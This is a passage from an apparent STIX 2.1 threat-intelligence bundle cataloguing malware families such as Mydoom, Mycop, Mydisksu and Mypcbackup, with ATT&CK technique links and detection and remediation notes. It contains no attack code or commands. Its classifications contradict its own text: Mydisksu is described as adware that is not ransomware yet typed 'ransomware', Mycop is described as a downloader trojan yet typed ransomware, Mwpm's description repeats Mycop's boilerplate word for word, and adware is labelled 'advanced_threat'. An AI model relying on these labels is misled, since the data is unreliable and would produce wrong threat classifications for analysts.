Mwpm reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mwpm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mwpm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--065e59d5-be1d-5058-89d2-508a871d2e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d807100f-3391-5833-9d1c-37f9c9ceac02",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mwpm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6241a02-8228-5772-a5be-bf5b7dc3ea57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d807100f-3391-5833-9d1c-37f9c9ceac02",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mwpm exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--268c5580-b6f5-5a40-9c39-d6c4d69fb5e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d807100f-3391-5833-9d1c-37f9c9ceac02",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mwpm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3af473b4-eea3-5842-9231-01856f4ddbc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d807100f-3391-5833-9d1c-37f9c9ceac02",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mwpm exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--212c12a3-2b36-5e82-996a-e1f345e31d3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d807100f-3391-5833-9d1c-37f9c9ceac02",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mwpm exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2ea29d1-bcbc-543f-afd4-f32e04d9152b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mybeesearch",
      "description": "BrowserModifier:Win32/Mybeesearch is an aggressive Potentially Unwanted Program (PUA) and browser hijacker. Its primary objective is to silently take control of the user's web browsers, forcibly altering the default homepage, new tab page, and default search engine to the 'Mybeesearch' portal (or affiliate sites). It monetizes this hijack by injecting intrusive advertisements into search results and aggressively tracking the user's browsing telemetry to sell to third-party ad networks.<br><br><b>Understanding Mybeesearch Adware</b><br>To an end-user, a Mybeesearch infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme, utilizing rootkit-like persistence to prevent the user from easily reverting their browser settings.<br><br><b>Execution and Hijacking Mechanics</b><br>Mybeesearch is almost exclusively distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes aggressive persistence via hidden Windows Services and multiple Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) into Chrome, Edge, and Firefox to intercept all web traffic (`T1185`). Crucially, it modifies browser preference files (like Chrome's `Preferences` JSON) and sometimes leverages Windows Group Policy (GPO) to lock the rogue settings in place (`T1562.001`), preventing the user from removing the extension manually.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches are tracked and monetized), and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Mybeesearch extensions and the persistent, unauthorized modification of browser registry keys and GPOs. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mybeesearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mybeesearch"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8d9851c-0d3f-5050-897f-319c4e52af69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea29d1-bcbc-543f-afd4-f32e04d9152b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mybeesearch exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77fd0e6b-12f1-5d1d-b284-6f910bf8b0d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea29d1-bcbc-543f-afd4-f32e04d9152b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mybeesearch exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d87498b6-2b1b-58c5-b5a3-ce86c2335b88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea29d1-bcbc-543f-afd4-f32e04d9152b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mybeesearch exhibits technique T1112 (Modify Registry (Search and Homepage Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73ae7a6c-2fa5-5d52-89a0-b6c51ea8a6fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea29d1-bcbc-543f-afd4-f32e04d9152b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mybeesearch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (GPO Abuse))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a686ec32-9b9a-590f-97c7-c111fe68817d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mycleanpc",
      "description": "Rogueware:Win32/Mycleanpc is a highly visible, classic example of a 'Fake Optimizer' and registry cleaner. It operates entirely on a model of deception and extortion. Masquerading as a legitimate, high-end utility designed to clean the Windows Registry and drastically speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' software license (`T1189`).<br><br><b>Understanding Mycleanpc (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly displaying pop-ups warning that the computer's health is 'Critical' and that a system crash is imminent. For an IT department, Mycleanpc is a nuisance that generates false helpdesk tickets. The software itself is largely useless, and its aggressive 'cleaning' routines can actually delete vital system registry keys, causing genuine OS instability.<br><br><b>Execution and Deception Mechanics</b><br>Mycleanpc is heavily distributed via aggressive affiliate marketing, deceptive pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid, animated 'scan' that is guaranteed to find thousands of 'critical errors' (which are usually just temporary internet files or completely benign registry entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure its scary warnings appear every time the computer boots. It often disables the Windows Task Manager to prevent the user from easily terminating its process (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Mycleanpc GUI, unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mycleanpc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mycleanpc"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--875e6191-423e-5e1e-99a4-27545c7d3e4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a686ec32-9b9a-590f-97c7-c111fe68817d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycleanpc exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86d5c0c4-a012-5ddf-b988-9d76acc88922",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a686ec32-9b9a-590f-97c7-c111fe68817d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycleanpc exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be99ba37-e554-5fa1-b485-484e287345dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a686ec32-9b9a-590f-97c7-c111fe68817d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycleanpc exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7152623f-0c97-5fa9-a14c-d1efbd8d4c16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mycop",
      "description": "Trojan:Win32/Mycop is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mycop</b><br>To an end-user, a Mycop infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mycop is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mycop is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mycop frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mycop reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mycop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mycop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b31638de-6134-56f5-a2bc-92474e648ed3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7152623f-0c97-5fa9-a14c-d1efbd8d4c16",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0e89099-1089-5b12-b58c-d33c8fd3c5e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7152623f-0c97-5fa9-a14c-d1efbd8d4c16",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5a3fe09-946a-585c-91d3-69a085d0d935",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7152623f-0c97-5fa9-a14c-d1efbd8d4c16",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb810983-b4f6-5197-a3e4-ee017f79d784",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7152623f-0c97-5fa9-a14c-d1efbd8d4c16",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5197cf95-3f7c-5b55-8e61-898dbb7e04fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7152623f-0c97-5fa9-a14c-d1efbd8d4c16",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mycop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--484b80a6-b1f2-5167-936e-a591ee3f0fd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mydisksu",
      "description": "<h3>Executive Summary</h3>\nMydisksu is an intrusive Adware application and Potentially Unwanted Program (PUP) primarily targeting Windows operating systems. It deceptively markets itself as a helpful system optimization utility or disk space manager. In reality, its primary function is unauthorized monetization through the aggressive injection of advertisements and the covert tracking of user web behavior.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMydisksu relies almost entirely on deceptive software bundling (pay-per-install networks). Users typically encounter it via fake software update prompts on streaming sites or bundled within \"free\" utilities downloaded from untrustworthy software portals.\n\nUpon execution, Mydisksu establishes deep integration with the system's web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The adware installs persistent Browser Helper Objects (BHOs) and malicious extensions across Chrome, Firefox, and Internet Explorer. It modifies the browser's default homepage and default search engine to route all traffic through attacker-controlled affiliate portals.</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> Mydisksu intercepts the rendering of legitimate websites. It injects its own JavaScript to overlay pages with pop-up ads, sliding banners, and in-text hyperlinks. These ads often promote further malware, technical support scams, or adult content.</li>\n<li><strong>Privacy Violations:</strong> To serve targeted advertisements, Mydisksu silently tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers in violation of standard privacy practices.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Mydisksu is not designed for data destruction like ransomware, it poses a severe threat to user privacy and system stability. The constant ad injection consumes massive CPU and RAM resources, rendering web browsing nearly impossible. Furthermore, the \"malvertising\" networks it relies upon frequently serve as conduits for more severe infections, such as banking trojans or info-stealers.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Uninstallation:</strong> The primary remediation step is to locate and uninstall \"Mydisksu\" (or any similarly named, recently installed suspicious programs) via the Windows Control Panel.</li>\n<li><strong>Browser Factory Reset:</strong> Because Mydisksu fundamentally alters browser configurations, the most effective cleanup method is to perform a full factory reset of all installed web browsers. This guarantees the removal of malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for PUPs/Adware) to scan for and remove lingering registry keys (e.g., in `HKLM\\Software`) and orphaned files left behind by the uninstaller.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Mydisksu",
        "PUP.Mydisksu",
        "Win32/Adware.Mydisksu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mydisksu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mydisksu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb7ccb75-919a-5182-8040-5b9ae398a6c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484b80a6-b1f2-5167-936e-a591ee3f0fd8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydisksu exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a687a622-9d25-5259-9560-ba7620635cb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484b80a6-b1f2-5167-936e-a591ee3f0fd8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydisksu exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dedf729-ad17-5a7f-8dba-3a58893d0a1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--484b80a6-b1f2-5167-936e-a591ee3f0fd8",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydisksu exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2bcc24c-a79b-5223-bec8-4b33efaca28b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mydoom",
      "description": "Mydoom (cataloged historically under designations including Worm:Win32/Mydoom, W32.Mydoom@mm, W32.Novarg.A@mm, and Shimgapi) is one of the most prolific and fastest-spreading mass-mailing computer worms in internet history. First detected on January 26, 2004, Mydoom infected millions of computers worldwide, accounting for an estimated 25% of all global email traffic during its peak outbreak and prompting official emergency technical alerts from US-CERT (TA04-028A) and CISA. Distributed via deceptive email messages with spoofed senders and generic subject lines (e.g., 'Error', 'Status', 'Mail Delivery System'), Mydoom lured users into opening malicious attachments (.exe, .scr, .pif, .bat, or .zip). Once executed, Mydoom harvested email addresses from victim address books and local files (excluding security and educational domains) to broadcast mass copies via its own built-in SMTP engine. In addition to mass mailing, Mydoom opened an unauthorized listening backdoor on TCP ports 3127 through 3198 (specifically port 3127) and launched synchronized distributed denial-of-service (DDoS) SYN floods against the websites of the SCO Group and Microsoft. (Observed samples in benchmark: 88)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Mydoom",
        "W32.Mydoom@mm",
        "W32.Novarg.A@mm",
        "WORM_MIMAIL.R"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mydoom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mydoom"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "TA04-028A"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74484703-f5e5-53ec-9811-ff2389cd740b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2bcc24c-a79b-5223-bec8-4b33efaca28b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydoom exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de83e4c1-0dc5-54bc-a70f-e0d30b31941b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2bcc24c-a79b-5223-bec8-4b33efaca28b",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydoom exhibits technique T1114.001 (Email Collection: Local Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f674aa6a-1db7-57b8-975a-45ef6124d2b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2bcc24c-a79b-5223-bec8-4b33efaca28b",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydoom exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13266c6f-955a-5824-a658-f94630e68c31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2bcc24c-a79b-5223-bec8-4b33efaca28b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydoom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a42b4416-6053-560e-a59b-09d134ab98e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2bcc24c-a79b-5223-bec8-4b33efaca28b",
      "target_ref": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mydoom exhibits technique T1036.004 (Masquerading: Keep Original File Name)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf4dbb9a-354d-57cd-ab7b-a87f873e4c47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mypcbackup",
      "description": "PUA:Win32/Mypcbackup is a notorious Potentially Unwanted Program (PUA) that operates as highly aggressive 'Scareware'. It masquerades as a legitimate, essential cloud backup utility. However, it utilizes deceptive marketing, fabricated warnings about impending data loss, and extremely intrusive pop-ups to coerce users into purchasing a premium, recurring subscription for a subpar or non-existent cloud storage service.<br><br><b>Understanding Mypcbackup Scareware</b><br>To an end-user, Mypcbackup is a constant source of anxiety. It suddenly appears on their machine and begins flashing warnings like 'Your files are not backed up! Hard drive failure imminent!' For a security analyst, it is a manipulative fraud. It is classified as a PUA because it almost always installs itself silently via software bundlers, bypassing user consent, and its primary function is aggressive financial extortion rather than actual utility.<br><br><b>Execution and Deception Mechanics</b><br>Mypcbackup is heavily distributed via deceptive freeware bundlers (`T1189`), often piggybacking on downloads like PDF readers or video converters. Upon execution (`T1204.002`), it establishes aggressive persistence via Registry Run keys and multiple Scheduled Tasks (`T1053.005`). It immediately runs a fake 'scan', analyzing the user's files to generate alarming, customized pop-ups (`T1566.002`) claiming massive amounts of data are at risk. It frequently modifies browser settings or installs adware extensions to generate secondary revenue. The constant pop-ups are designed to wear the user down until they enter their credit card information to stop the harassment.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss (recurring fraudulent subscriptions) and a severely degraded user experience due to constant, uncloseable pop-ups and system sluggishness. Incident responders will observe the unexpected installation of the Mypcbackup GUI (usually in `C:\\Program Files (x86)\\MyPC Backup`). EDR logs will show the creation of multiple persistent startup entries designed to launch the fake scanner GUI on a recurring basis. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mypcbackup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mypcbackup"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c3691da-5fd8-5d7f-beaf-bf6546c1a12c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf4dbb9a-354d-57cd-ab7b-a87f873e4c47",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mypcbackup exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9b913f1-94ef-5eab-adc2-7beb428023d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf4dbb9a-354d-57cd-ab7b-a87f873e4c47",
